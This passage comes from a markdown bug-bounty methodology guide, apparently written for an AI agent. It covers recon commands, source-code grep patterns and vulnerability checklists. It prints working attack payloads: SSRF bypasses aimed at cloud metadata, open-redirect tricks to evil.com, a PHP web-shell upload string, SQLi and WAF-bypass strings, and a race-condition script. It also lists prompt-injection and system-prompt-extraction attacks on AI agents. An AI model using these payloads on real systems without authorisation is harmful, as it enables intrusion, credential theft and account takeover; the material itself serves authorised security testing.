4813. **DON'T OVER-RELY ON AUTOMATION** -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
4914. **HUNT LESS-SATURATED VULN CLASSES** -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
5015. **ONE-HOUR RULE** -- stuck on one target for an hour with no progress? SWITCH CONTEXT
5116. **TWO-EYE APPROACH** -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
5217. **T-SHAPED KNOWLEDGE** -- go DEEP in one area and BROAD across everything else
53
54> **For the full hunting methodology** — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see **`skills/bb-methodology/SKILL.md`**.
55
56---
57
58## A->B BUG SIGNAL METHOD (Cluster Hunting)
59
60**When you find bug A, systematically hunt for B and C nearby.** This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.
61
62### Known A->B->C Chains
63
64| Bug A (Signal) | Hunt for Bug B | Escalate to C |
65|----------------|---------------|---------------|
66| IDOR (read) | PUT/DELETE on same endpoint | Full account data manipulation |
67| SSRF (any) | Cloud metadata 169.254.169.254 | IAM credential exfil -> RCE |
68| XSS (stored) | Check if HttpOnly is set on session cookie | Session hijack -> ATO |
69| Open redirect | OAuth redirect_uri accepts your domain | Auth code theft -> ATO |
70| S3 bucket listing | Enumerate JS bundles | Grep for OAuth client_secret -> OAuth chain |
71| Rate limit bypass | OTP brute force | Account takeover |
72| GraphQL introspection | Missing field-level auth | Mass PII exfil |
73| Debug endpoint | Leaked environment variables | Cloud credential -> infrastructure access |
74| CORS reflects origin | Test with credentials: include | Credentialed data theft |
75| Host header injection | Password reset poisoning | ATO via reset link |
76
77### Cluster Hunt Protocol (6 Steps)
78
79```
801. CONFIRM A Verify bug A is real with an HTTP request
812. MAP SIBLINGS Find all endpoints in the same controller/module/API group
823. TEST SIBLINGS Apply the same bug pattern to every sibling
834. CHAIN If sibling has different bug class, try combining A + B
845. QUANTIFY "Affects N users" / "exposes $X value" / "N records"
856. REPORT One report per chain (not per bug). Chains pay more.
86```
87
88### Real Examples
89
90**Coinbase S3->Bundle->Secret->OAuth chain:**
91```
92A: S3 bucket publicly listable (Low alone)
93B: JS bundles contain OAuth client credentials
94C: OAuth flow missing PKCE enforcement
95Result: Full auth code interception chain
96```
97
98**Vienna Chatbot chain:**
99```
100A: Debug parameter active in production (Info alone)
101B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
102C: Stored XSS via bot response visible to other users
103Result: P2 finding with real impact
104```
105
106---
107
108# TOP 1% HACKER MINDSET
109
110## How Elite Hackers Think Differently
111
112**Average hunter**: Runs tools, checks checklist, gives up after 30 min.
113**Top 1%**: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"
114
115## Pre-Hunt Mental Framework
116
117### Step 1: Crown Jewel Thinking
118Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"
119- Financial app -> drain funds, transfer to attacker account
120- Healthcare -> PII leak, HIPAA violation
121- SaaS -> tenant data crossing, admin takeover
122- Auth provider -> full SSO chain compromise
123
124### Step 2: Developer Empathy
125Think like the developer who built the feature:
126- What was the simplest implementation?
127- What shortcut would a tired dev take at 2am?
128- Where is auth checked -- controller? middleware? DB layer?
129- What happens when you call endpoint B without going through endpoint A first?
130
131### Step 3: Trust Boundary Mapping
132```
133Client -> CDN -> Load Balancer -> App Server -> Database
134 ^ ^ ^
135 Where does app STOP trusting input?
136 Where does it ASSUME input is already validated?
137```
138
139### Step 4: Feature Interaction Thinking
140- Does this new feature reuse old auth, or does it have its own?
141- Does the mobile API share auth logic with the web app?
142- Was this feature built by the same team or a third-party?
143
144## The Top 1% Mental Checklist
145- [ ] I know the app's core business model
146- [ ] I've used the app as a real user for 15+ minutes
147- [ ] I know the tech stack (language, framework, auth system, caching)
148- [ ] I've read at least 3 disclosed reports for this program
149- [ ] I have 2 test accounts ready (attacker + victim)
150- [ ] I've defined my primary target: ONE crown jewel I'm hunting for today
151
152## Mindset Rules from Top Hunters
153
154**"Hunt the feature, not the endpoint"** -- Find all endpoints that serve a feature, then test the INTERACTION between them.
155
156**"Authorization inconsistency is your friend"** -- If the app checks auth in 9 places but not the 10th, that's your bug.
157
158**"New == unreviewed"** -- Features launched in the last 30 days have lowest security maturity.
159
160**"Think second-order"** -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.
161
162**"Follow the money"** -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.
163
164**"The API the mobile app uses"** -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.
165
166**"Diffs find bugs"** -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.
167
168---
169
170# TOOLS
171
172## Go Binaries
173| Tool | Use |
174|------|-----|
175| subfinder | Passive subdomain enum |
176| httpx | Probe live hosts |
177| dnsx | DNS resolution |
178| nuclei | Template scanner |
179| katana | Crawl |
180| waybackurls | Archive URLs |
181| gau | Known URLs |
182| dalfox | XSS scanner |
183| ffuf | Fuzzer |
184| anew | Dedup append |
185| qsreplace | Replace param values |
186| assetfinder | Subdomain enum |
187| gf | Grep patterns (xss, sqli, ssrf, redirect) |
188| interactsh-client | OOB callbacks |
189
190## Tools to Install When Needed
191| Tool | Use | Install |
192|------|-----|---------|
193| arjun | Hidden parameter discovery | `pip3 install arjun` |
194| paramspider | URL parameter mining | `pip3 install paramspider` |
195| kiterunner | API endpoint brute | `go install github.com/assetnote/kiterunner/cmd/kr@latest` |
196| cloudenum | Cloud asset enumeration | `pip3 install cloud_enum` |
197| trufflehog | Secret scanning | `brew install trufflehog` |
198| gitleaks | Secret scanning | `brew install gitleaks` |
199| XSStrike | Advanced XSS scanner | `pip3 install xsstrike` |
200| SecretFinder | JS secret extraction | `pip3 install secretfinder` |
201| sqlmap | SQL injection | `pip3 install sqlmap` |
202| subzy | Subdomain takeover | `go install github.com/LukaSikic/subzy@latest` |
203
204## Static Analysis (Semgrep Quick Audit)
205```bash
206# Install: pip3 install semgrep
207
208# Broad security audit
209semgrep --config=p/security-audit ./
210semgrep --config=p/owasp-top-ten ./
211
212# Language-specific rulesets
213semgrep --config=p/javascript ./src/
214semgrep --config=p/python ./
215semgrep --config=p/golang ./
216semgrep --config=p/php ./
217semgrep --config=p/nodejs ./
218
219# Targeted rules
220semgrep --config=p/sql-injection ./
221semgrep --config=p/jwt ./
222
223# Custom pattern (example: find SQL concat in Python)
224semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
225
226# Output to file for analysis
227semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
228cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
229```
230
231## FFUF Advanced Techniques
232```bash
233# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
234ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
235
236# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
237seq 1 10000 | ffuf --request req.txt -w - -ac
238
239# Authenticated API endpoint brute
240ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
241
242# Parameter discovery
243ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
244
245# Hidden POST parameters
246ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
247
248# Subdomain scan
249ffuf -w subs.txt -u https://FUZZ.target.com -ac
250
251# Filter strategies:
252# -fc 404,403 Filter status codes
253# -fs 1234 Filter by response size
254# -fw 50 Filter by word count
255# -fr "not found" Filter regex in response body
256# -rate 5 -t 10 Rate limit + fewer threads for stealth
257# -e .php,.bak,.old Add extensions
258# -o results.json Save output
259```
260
261## AI-Assisted Tools
262- **strix** (usestrix.com) -- open-source AI scanner for automated initial sweep
263
264---
265
266# PHASE 1: RECON
267
268## Standard Recon Pipeline
269```bash
270# Step 1: Subdomains
271subfinder -d TARGET -silent | anew /tmp/subs.txt
272assetfinder --subs-only TARGET | anew /tmp/subs.txt
273
274# Step 2: Resolve + live hosts
275cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
276
277# Step 3: URL collection
278cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
279echo TARGET | waybackurls | anew /tmp/urls.txt
280gau TARGET | anew /tmp/urls.txt
281
282# Step 4: Nuclei scan
283nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
284
285# Step 5: JS secrets
286cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
287# Run SecretFinder on each JS file
288
289# Step 6: GitHub dorking (if target has public repos)
290# GitDorker -org TARGET_ORG -d dorks/alldorksv3
291```
292
293## Cloud Asset Enumeration
294```bash
295# Manual S3 brute
296for suffix in dev staging test backup api data assets static cdn; do
297 code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
298 [ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
299done
300```
301
302## API Endpoint Discovery
303```bash
304# ffuf API endpoint brute
305ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
306```
307
308## HackerOne Scope Retrieval
309```bash
310curl -s "https://hackerone.com/graphql" \
311 -H "Content-Type: application/json" \
312 -d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
313 | jq '.data.team.policy_scopes.edges[].node'
314```
315
316## Quick Wins Checklist
317- [ ] Subdomain takeover (`subjack`, `subzy`)
318- [ ] Exposed `.git` (`/.git/config`)
319- [ ] Exposed env files (`/.env`, `/.env.local`)
320- [ ] Default credentials on admin panels
321- [ ] JS secrets (SecretFinder, jsluice)
322- [ ] Open redirects (`?redirect=`, `?next=`, `?url=`)
323- [ ] CORS misconfig (test `Origin: https://evil.com` + credentials)
324- [ ] S3/cloud buckets
325- [ ] GraphQL introspection enabled
326- [ ] Spring actuators (`/actuator/env`, `/actuator/heapdump`)
327- [ ] Firebase open read (`https://TARGET.firebaseio.com/.json`)
328
329## Technology Fingerprinting
330
331| Signal | Technology |
332|---|---|
333| Cookie: `XSRF-TOKEN` + `*_session` | Laravel |
334| Cookie: `PHPSESSID` | PHP |
335| Header: `X-Powered-By: Express` | Node.js/Express |
336| Response: `wp-json`/`wp-content` | WordPress |
337| Response: `{"errors":[{"message":` | GraphQL |
338| Header: `X-Powered-By: Next.js` | Next.js |
339
340## Framework Quick Wins
341
342**Laravel**: `/horizon`, `/telescope`, `/.env`, `/storage/logs/laravel.log`
343**WordPress**: `/wp-json/wp/v2/users`, `/xmlrpc.php`, `/?author=1`
344**Node.js**: `/.env`, `/graphql` (introspection), `/_debug`
345**AWS Cognito**: `/oauth2/userInfo` (leaks Pool ID), CORS reflects arbitrary origins
346
347## Source Code Recon
348```bash
349# Security surface
350cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
351git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20
352
353# Dev breadcrumbs
354grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"
355
356# Dangerous patterns (JS/TS)
357grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
358grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
359grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."
360
361# Dangerous patterns (Solidity)
362grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"
363```
364
365### Language-Specific Grep Patterns
366
367```bash
368# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
369grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
370grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
371grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules
372
373# Python -- pickle, yaml.load, eval, shell injection
374grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
375grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
376grep -rn "__import__\|exec(" --include="*.py"
377
378# PHP -- type juggling, unserialize, LFI
379grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
380grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
381grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"
382
383# Go -- template.HTML, race conditions
384grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
385grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"
386
387# Ruby -- YAML.load, mass assignment
388grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
389grep -rn "attr_accessible\|permit(" --include="*.rb"
390
391# Rust -- panic on network input, unsafe blocks
392grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
393grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
394grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"
395```
396
397---
398
399# PHASE 2: LEARN (Pre-Hunt Intelligence)
400
401## Read Disclosed Reports
402```bash
403# By program on HackerOne
404curl -s "https://hackerone.com/graphql" \
405 -H "Content-Type: application/json" \
406 -d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
407 | jq '.data.hacktivity_items.nodes[].report'
408```
409
410## "What Changed" Method
4111. Find disclosed report for similar tech
4122. Get the fix commit
4133. Read the diff -- identify the anti-pattern
4144. Grep your target for that same anti-pattern
415
416## Threat Model Template
417```
418TARGET: _______________
419CROWN JEWELS: 1.___ 2.___ 3.___
420ATTACK SURFACE:
421 [ ] Unauthenticated: login, register, password reset, public APIs
422 [ ] Authenticated: all user-facing endpoints, file uploads, API calls
423 [ ] Cross-tenant: org/team/workspace ID parameters
424 [ ] Admin: /admin, /internal, /debug
425HIGHEST PRIORITY (crown jewel x easiest entry):
426 1.___ 2.___ 3.___
427```
428
429## 6 Key Patterns from Top Reports
4301. **Feature Complexity = Bug Surface** -- imports, integrations, multi-tenancy, multi-step workflows
4312. **Developer Inconsistency = Strongest Evidence** -- `timingSafeEqual` in one place, `===` elsewhere
4323. **"Else Branch" Bug** -- proxy/gateway passes raw token without validation in else path
4334. **Import/Export = SSRF** -- every "import from URL" feature has historically had SSRF
4345. **Secondary/Legacy Endpoints = No Auth** -- `/api/v1/` guarded but `/api/` isn't
4356. **Race Windows in Financial Ops** -- check-then-deduct as two DB operations = double-spend
436
437---
438
439# PHASE 3: HUNT
440
441## Note-Taking System (Never Hunt Without This)
442```markdown
443# TARGET: company.com -- SESSION 1
444
445## Interesting Leads (not confirmed bugs yet)
446- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
447
448## Dead Ends (don't revisit)
449- /admin -> IP restricted, confirmed by trying 15+ bypass headers
450
451## Anomalies
452- GET /api/export returns 200 even when session cookie is missing
453- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
454
455## Rabbit Holes (time-boxed, max 15 min each)
456- [ ] 10 min: JWT kid injection on auth endpoint
457
458## Confirmed Bugs
459- [15:10] IDOR on /api/invoices/{id} -- read+write
460```
461
462## Subdomain Type -> Hunt Strategy
463- **dev/staging/test**: Debug endpoints, disabled auth, verbose errors
464- **admin/internal**: Default creds, IP bypass headers (`X-Forwarded-For: 127.0.0.1`)
465- **api/api-v2**: Enumerate with kiterunner, check older unprotected versions
466- **auth/sso**: OAuth misconfigs, open redirect in `redirect_uri`
467- **upload/cdn**: CORS, path traversal, stored XSS
468
469## CVE-Seeded Audit Approach
4701. **Build a CVE eval set** -- collect 5-10 prior CVEs for the target codebase
4712. **Reproduce old bugs** -- verify you can find the pattern in older code
4723. **Pattern-match forward** -- search for the same anti-pattern in current code
4734. **Focus on wide attack surfaces** -- JS engines, parsers, anything processing untrusted external input
474
475## Rust/Blockchain Source Code (Hard-Won Lessons)
476
477**Panic paths: encoding vs decoding** -- `.unwrap()` on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.
478
479**"Known TODO" is not a mitigation** -- A comment like `// Votes are not signed for now` doesn't mean safe.
480
481**Pattern-based hunting from confirmed findings** -- If `verify_signed_vote` is broken, check `verify_signed_proposal` and `verify_commit_signature`.
482
483```bash
484# Rust dangerous patterns (network-facing)
485grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
486grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
487grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"
488```
489
490---
491
492# VULNERABILITY HUNTING CHECKLISTS
493
494## IDOR -- Insecure Direct Object Reference
495
496> #1 most paid web2 class -- 30% of all submissions that get paid.
497
498### IDOR Variants (10 Ways to Test)
499
500| Variant | What to Test |
501|---------|-------------|
502| V1: Direct | Change object ID in URL path `/api/users/123` -> `/api/users/456` |
503| V2: Body param | Change ID in POST/PUT JSON body `{"user_id": 456}` |
504| V3: GraphQL node | `{ node(id: "base64(OtherType:123)") { ... } }` |
505| V4: Batch/bulk | `/api/users?ids=1,2,3,4,5` -- request multiple IDs at once |
506| V5: Nested | Change parent ID: `/orgs/{org_id}/users/{user_id}` |
507| V6: File path | `/files/download?path=../other-user/file.pdf` |
508| V7: Predictable | Sequential integers, timestamps, short UUIDs |
509| V8: Method swap | GET returns 403? Try PUT/PATCH/DELETE on same endpoint |
510| V9: Version rollback | v2 blocked? Try `/api/v1/` same endpoint |
511| V10: Header injection | `X-User-ID: victim_id`, `X-Org-ID: victim_org` |
512
513### IDOR Testing Checklist
514- [ ] Create two accounts (A = attacker, B = victim)
515- [ ] Log in as A, perform all actions, note all IDs in requests
516- [ ] Log in as B, replay A's requests with A's IDs using B's auth
517- [ ] Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH
518- [ ] Check API v1/v2 differences
519- [ ] Check GraphQL schema for node() queries
520- [ ] Check WebSocket messages for client-supplied IDs
521- [ ] Test batch endpoints (can you request multiple IDs?)
522- [ ] Try adding unexpected params: `?user_id=other_user`
523
524### IDOR Chains (higher payout)
525- IDOR + Read PII = Medium
526- IDOR + Write (modify other's data) = High
527- IDOR + Admin endpoint = Critical (privilege escalation)
528- IDOR + Account takeover path = Critical
529- IDOR + Chatbot (LLM reads other user's data) = High
530
531## SSRF -- Server-Side Request Forgery
532
533- [ ] Try cloud metadata: `http://169.254.169.254/latest/meta-data/`
534- [ ] Try internal services: `http://127.0.0.1:6379/` (Redis), `:9200` (Elasticsearch), `:27017` (MongoDB)
535- [ ] Test all IP bypass techniques (see table below)
536- [ ] Test protocol bypass: `file://`, `dict://`, `gopher://`
537- [ ] Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers
538
539### SSRF IP Bypass Table (11 Techniques)
540
541| Bypass | Payload | Notes |
542|--------|---------|-------|
543| Decimal IP | `http://2130706433/` | 127.0.0.1 as single decimal |
544| Hex IP | `http://0x7f000001/` | Hex representation |
545| Octal IP | `http://0177.0.0.1/` | Octal 0177 = 127 |
546| Short IP | `http://127.1/` | Abbreviated notation |
547| IPv6 | `http://[::1]/` | Loopback in IPv6 |
548| IPv6-mapped | `http://[::ffff:127.0.0.1]/` | IPv4-mapped IPv6 |
549| Redirect chain | `http://attacker.com/302->http://169.254.169.254` | Check each hop |
550| DNS rebinding | Register domain resolving to 127.0.0.1 | First check = external, fetch = internal |
551| URL encoding | `http://127.0.0.1%2523@attacker.com` | Parser confusion |
552| Enclosed alphanumeric | `http://①②⑦.⓪.⓪.①` | Unicode numerals |
553| Protocol smuggling | `gopher://127.0.0.1:6379/_INFO` | Redis/other protocols |
554
555### SSRF Impact Chain
556- DNS-only = Informational (don't submit)
557- Internal service accessible = Medium
558- Cloud metadata readable = High (key exposure)
559- Cloud metadata + exfil keys = Critical (code execution on cloud)
560- Docker API accessible = Critical (direct RCE)
561
562## OAuth / OIDC
563
564- [ ] Missing `state` parameter -> CSRF
565- [ ] `redirect_uri` accepts wildcards -> ATO
566- [ ] Missing PKCE -> code theft
567- [ ] Implicit flow -> token leakage in referrer
568- [ ] Open redirect in post-auth redirect -> OAuth token theft chain
569
570### Open Redirect Bypass Table (11 Techniques)
571
572Use these when chaining open redirect into OAuth code theft:
573
574| Bypass | Payload | Notes |
575|--------|---------|-------|
576| Double URL encoding | `%252F%252F` | Decodes to `//` after double decode |
577| Backslash | `https://target.com\@evil.com` | Some parsers normalize `\` to `/` |
578| Missing protocol | `//evil.com` | Protocol-relative |
579| @-trick | `https://target.com@evil.com` | target.com becomes username |
580| Protocol-relative | `///evil.com` | Triple slash |
581| Tab/newline injection | `//evil%09.com` | Whitespace in hostname |
582| Fragment trick | `https://evil.com#target.com` | Fragment misleads validation |
583| Null byte | `https://evil.com%00target.com` | Some parsers truncate at null |
584| Parameter pollution | `?next=target.com&next=evil.com` | Last value wins |
585| Path confusion | `/redirect/..%2F..%2Fevil.com` | Path traversal in redirect |
586| Unicode normalization | `https://evil.com/target.com` | Visual confusion |
587
588## File Upload
589
590### File Upload Bypass Table
591
592| Bypass | Technique |
593|--------|-----------|
594| Double extension | `file.php.jpg`, `file.php%00.jpg` |
595| Case variation | `file.pHp`, `file.PHP5` |
596| Alternative extensions | `.phtml`, `.phar`, `.shtml`, `.inc` |
597| Content-Type spoof | `image/jpeg` header with PHP content |
598| Magic bytes | `GIF89a; <?php system($_GET['c']); ?>` |
599| .htaccess upload | `AddType application/x-httpd-php .jpg` |
600| SVG XSS | `<svg onload=alert(1)>` |
601| Race condition | Upload + execute before cleanup runs |
602| Polyglot JPEG/PHP | Valid JPEG that is also valid PHP |
603| Zip slip | `../../etc/cron.d/shell` in filename inside archive |
604
605### Magic Bytes Reference
606| Type | Hex |
607|------|-----|
608| JPEG | `FF D8 FF` |
609| PNG | `89 50 4E 47 0D 0A 1A 0A` |
610| GIF | `47 49 46 38` |
611| PDF | `25 50 44 46` |
612| ZIP/DOCX/XLSX | `50 4B 03 04` |
613
614## Race Conditions
615
616- [ ] Coupon codes / promo codes
617- [ ] Gift card redemption
618- [ ] Fund transfer / withdrawal
619- [ ] Voting / rating limits
620- [ ] OTP verification brute via race
621
622```bash
623seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
624 -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
625wait
626```
627
628### Turbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)
629```python
630def queueRequests(target, wordlists):
631 engine = RequestEngine(endpoint=target.endpoint,
632 concurrentConnections=1,
633 requestsPerConnection=1,
634 pipeline=False,
635 engine=Engine.BURP2)
636 for i in range(20):
637 engine.queue(target.req, gate='race1')
638 engine.openGate('race1') # all 20 fire in a single TCP packet
639
640def handleResponse(req, interesting):
641 table.add(req)
642```
643
644## Business Logic
645- [ ] Negative quantities in cart
646- [ ] Price parameter tampering
647- [ ] Workflow skip (e.g., pay without checkout)
648- [ ] Role escalation via registration fields
649- [ ] Privilege persistence after downgrade
650
651## XSS -- Cross-Site Scripting
652
653### XSS Sinks (grep for these)
654```javascript
655// HIGH RISK
656innerHTML = userInput
657outerHTML = userInput
658document.write(userInput)
659eval(userInput)
660setTimeout(userInput, ...) // string form
661setInterval(userInput, ...)
662new Function(userInput)
663
664// MEDIUM RISK (context-dependent)
665element.src = userInput // JavaScript URI possible
666element.href = userInput
667location.href = userInput
668```
669
670### XSS Chains (escalate from Medium to High/Critical)
671- XSS + sensitive page (banking, admin) = High
672- XSS + CSRF token theft = CSRF bypass -> Critical action
673- XSS + service worker = persistent XSS across pages
674- XSS + credential theft via fake login form = ATO
675- XSS in chatbot response = stored XSS chain
676
677## SQL Injection
678
679### Detection
680```bash
681# Single quote test
682' OR '1'='1
683' OR 1=1--
684' UNION SELECT NULL--
685
686# Error-based detection
687'; SELECT 1/0-- # divide by zero error reveals SQLi
688```
689
690### Modern SQLi WAF Bypass
691```sql
692-- Comment variation
693/*!50000 SELECT*/ * FROM users
694SE/**/LECT * FROM users
695-- Case variation
696SeLeCt * FrOm uSeRs
697-- URL encoding
698%27 OR %271%27=%271
699-- Unicode apostrophe
700' OR '1'='1
701```
702
703## GraphQL
704
705### Introspection (alone = Informational, but reveals attack surface)
706```graphql
707{ __schema { types { name fields { name type { name } } } } }
708```
709
710### Missing Field-Level Auth
711```graphql
712# User query returns only own data
713{ user(id: 1) { name email } }
714# But node() bypasses per-object auth:
715{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
716```
717
718### Batching Attack (Rate Limit Bypass)
719```json
720[
721 {"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
722 {"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
723 "...100 more..."
724]
725```
726
727## LLM / AI Features
728
729- [ ] Prompt injection via user input passed to LLM
730- [ ] Indirect injection via document/URL the AI processes
731- [ ] IDOR in chat history (enumerate conversation IDs)
732- [ ] System prompt extraction via roleplay/encoding
733- [ ] RCE via code execution tool abuse
734- [ ] ASCII smuggling (invisible unicode in LLM output)
735
736### Agentic AI Hunting (OWASP ASI01-ASI10)
737
738When target has AI agents with tool access, these are the 10 attack classes:
739
740| ID | Vuln Class | What to Test |
741|----|-----------|-------------|
742| ASI01 | Prompt injection | Override system prompt via user input -- make agent ignore its rules |
743| ASI02 | Tool misuse | Make AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool) |
744| ASI03 | Data exfil | Extract training data / PII via crafted prompts that leak context |
745| ASI04 | Privilege escalation | Use AI to access admin-only tools -- agent has broader perms than user |
746| ASI05 | Indirect injection | Poison document/URL the AI processes -- hidden instructions in fetched content |
747| ASI06 | Excessive agency | AI takes destructive actions without confirmation -- delete, send, pay |
748| ASI07 | Model DoS | Craft inputs that cause infinite loops, excessive token usage, or OOM |
749| ASI08 | Insecure output | AI generates XSS/SQLi/command injection in its output that gets rendered |
750| ASI09 | Supply chain | Compromised plugins/tools/MCP servers the AI calls |
751| ASI10 | Sensitive disclosure | AI reveals internal configs, API keys, system prompts, user data |
752
753**Triage rule:** ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.
754
755## Cache Poisoning / Web Cache Deception
756- [ ] Test `X-Forwarded-Host`, `X-Original-URL`, `X-Rewrite-URL` -- unkeyed headers reflected in response
757- [ ] Parameter cloaking (`?param=value;poison=xss`)
758- [ ] Fat GET (body params on GET requests)
759- [ ] Web cache deception (`/account/settings.css` -- trick cache into storing private response)
760- [ ] Param Miner (Burp extension) -- auto-discovers unkeyed headers
761
762## HTTP Request Smuggling
763- [ ] CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
764- [ ] TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
765- [ ] H2.CL: HTTP/2 downgrade smuggling
766- [ ] TE obfuscation: `Transfer-Encoding: xchunked`, tab prefix, space prefix
767- [ ] Use Burp "HTTP Request Smuggler" extension -- detects automatically
768
769### CL.TE Example
770```http
771POST / HTTP/1.1
772Host: target.com
773Content-Length: 13
774Transfer-Encoding: chunked
775
7760
777
778SMUGGLED
779```
780Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.
781
782## Android / Mobile Hunting
783- [ ] Certificate pinning bypass (Frida/objection)
784- [ ] Exported activities/receivers (AndroidManifest.xml)
785- [ ] Deep link injection
786- [ ] Shared preferences / SQLite in cleartext
787- [ ] WebView JavaScript bridge
788- [ ] Mobile API often uses older/different API version than web
789
790## CI/CD Pipeline — GitHub Actions Security
791
792> **Tooling**: Use [sisakulint](https://sisaku-security.github.io/lint/) for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, 81.6% coverage of GitHub Security Advisories (31/38 GHSAs). Install: `brew install sisakulint` or download binary from releases.
793>
794> **Quick scan**: `sisakulint scan .github/workflows/` — flags Critical/High issues with auto-fix suggestions.
795> **Remote scan**: `sisakulint scan --remote owner/repo` — scan without cloning.
796
797### Recon: Finding Workflow Files
798
799```bash
800# Clone target's public repos, then:
801find . -name "*.yml" -path "*/.github/workflows/*" | head -50
802
803# Quick grep for dangerous patterns:
804grep -rn "pull_request_target\|workflow_run" .github/workflows/
805grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
806grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
807grep -rn 'secrets\.\|secrets: inherit' .github/workflows/
808
809# Run sisakulint on all workflows:
810sisakulint scan .github/workflows/
811```
812
813### Category 1: Code Injection & Expression Safety (CICD-SEC-04)
814
815**Root cause**: Untrusted input (`github.event.issue.title`, `github.event.pull_request.body`, branch names, commit messages) interpolated into `run:` blocks via `${{ }}` expressions.
816
817**Taint sources** (attacker-controlled):
818```
